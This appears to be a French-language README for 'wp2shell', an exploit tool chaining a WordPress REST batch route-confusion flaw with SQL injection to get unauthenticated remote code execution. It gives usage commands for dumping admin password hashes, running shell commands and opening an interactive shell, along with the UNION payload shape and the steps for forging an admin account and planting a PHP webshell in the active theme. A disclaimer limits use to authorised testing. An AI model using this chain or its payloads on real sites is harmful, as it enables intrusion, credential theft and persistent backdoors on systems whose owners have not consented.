
CVE-2026-63030 / wp2shell
Chaîne d'exploitation RCE WordPress one-day. Sans authentification. CVSS 9.8.
Zéro dépendance — uniquement la bibliothèque standard de Python 3.8+.
| Branche | Vulnérable | Corrigée |
|---|---|---|
| 6.9.x | 6.9.0 – 6.9.4 | ≥ 6.9.5 |
| 7.0.x | 7.0.0 – 7.0.1 | ≥ 7.0.2 |
Deux CVE enchaînées pour une exécution de code à distance sans authentification :
CVE-2026-63030 (route confusion) → batch desync bypasses auth
+
CVE-2026-60137 (SQL injection) → author__not_in sinks raw into SQL
↓
UNION-forge WP_Post rows → customizer changeset bridge → admin created
↓
Login as admin → theme editor → webshell → RCE
# Sonde uniquement — non destructif, confirme la vulnérabilité
python3 exploit.py --url http://target:8080 --check
# Extrait les hashs des mots de passe admin de la base de données
python3 exploit.py --url http://target:8080 --dump-users
# Chaîne complète : SQLi → admin → webshell → commande
python3 exploit.py --url http://target:8080 --cmd "id; uname -a"
# Shell interactif (avec suivi du répertoire de travail)
python3 exploit.py --url http://target:8080 --shell
# Lit des données arbitraires via injection SQL UNION
python3 exploit.py --url http://target:8080 --read "SELECT @@version"
# Ignore le pont pré-authentification — utilise des identifiants connus
python3 exploit.py --url http://target:8080 --user admin --password hunter2 --cmd whoami
--url URL URL de base WordPress cible (requis)
--check Sonde uniquement — n'exploite pas
--dump-users Extrait tous les identifiants utilisateur via UNION SQLi
--read SQL Lit une expression SQL scalaire depuis la base de données
--cmd CMD Exécute une commande shell sur la cible
--shell Ouvre un shell interactif
--user USER Nom d'utilisateur admin (ignore la création d'un admin pré-authentification)
--password PASS Mot de passe admin (à utiliser avec --user)
--proxy URL Proxy HTTP (p. ex. http://127.0.0.1:8080)
--timeout SEC Délai d'expiration des requêtes (défaut : 30)
--no-cleanup Laisse le webshell et l'utilisateur admin sur la cible
L'endpoint batch de WordPress (/?rest_route=/batch/v1) accepte un tableau de sous-requêtes. Lorsqu'une sous-requête possède un chemin non analysable (///), un WP_Error est ajouté à $validation mais pas à $matches. La boucle de dispatch associe alors la requête N au gestionnaire N+1 — une requête validée pour un schéma est donc répartie vers un gestionnaire différent.
L'exploit envoie un batch imbriqué sur 3 niveaux, où chaque niveau utilise une amorce de désynchronisation en position 0 pour décaler les indices. La requête la plus interne — validée comme un élément de post unique (GET /wp/v2/posts/999999) — atterrit sur le gestionnaire de collection (posts->get_items()). Comme le schéma d'élément ne définit pas author_exclude, le paramètre passe sans être validé.
get_items() mappe author_exclude → author__not_in et le transmet à WP_Query. Lorsque author__not_in est une chaîne (et non un tableau), le bloc array_map('absint', …) est ignoré. La chaîne brute aboutit directement dans :
WHERE post_author NOT IN (<payload>)
La charge utile 0) UNION ALL SELECT …-- - ferme la liste NOT IN et ajoute du SQL arbitraire.
Le wp_posts de WordPress 7.0.x possède exactement 23 colonnes. En injectant une ligne forgée via UNION ALL SELECT avec orderby=none (supprime le ORDER BY final) et per_page=500 (maintient WP_Query en mode ligne complète), le titre du post forgé — portant un marqueur ||HEX|| — est reflété dans la réponse REST. Toutes les valeurs de chaînes utilisent des littéraux hexadécimaux MySQL (0x…) pour éviter les problèmes d'échappement des guillemets via l'encodage URL.
[embed] → WordPress crée 3 lignes oembed_cachewp_posts structurées formant une chaîne de changesets du customizer[embed] est rendu, déclenchant WP_Embed::shortcode() → wp_update_post() → WP_Customize_Manager → wp_insert_user()wp2_<random>) et un mot de passe (Wp2!<random>)Se connecter en tant que nouvel admin → extraire le nonce de l'éditeur de thème → injecter un webshell PHP protégé par jeton en haut du functions.php du thème actif → y accéder via ?t=<token>&c=<command>.
urllib, json, re, hashlib, secrets, html)wp_remote_post() avant d'enregistrer. Si le conteneur ne peut pas s'atteindre via son nom d'hôte, la modification du thème est bloquée. Utilisez --dump-users + connexion manuelle dans ces cas.--check.$ python3 exploit.py --url http://target --check
[+] VULNERABLE — route-confusion behavior detected!
[+] UNION SQLi extraction confirmed — in-band read available
$ python3 exploit.py --url http://target --dump-users
[*] 11 user(s) in wp_users:
ID=1 login=admin
pass=$wp$2y$10$...
...
Cet outil est destiné uniquement à la recherche en sécurité autorisée et à des fins pédagogiques. Utilisez-le uniquement contre des systèmes que vous possédez ou pour lesquels vous avez une autorisation explicite de test. Les auteurs déclinent toute responsabilité en cas d'utilisation abusive.
| Étape | CVE | Vecteur |
|---|
| 1 | CVE-2026-63030 | Le désalignement d'index REST /batch/v1 désynchronise la validation du dispatch |
| 2 | CVE-2026-60137 | Le paramètre WP_Query author__not_in ignore absint() lorsqu'il est passé comme chaîne |
| 3 | — | UNION SELECT forge des lignes wp_posts ; oEmbed → customizer → wp_insert_user |
| 4 | — | S'authentifier en tant qu'administrateur nouvellement créé |
| 5 | — | L'éditeur de thème injecte un webshell protégé par jeton dans le thème actif |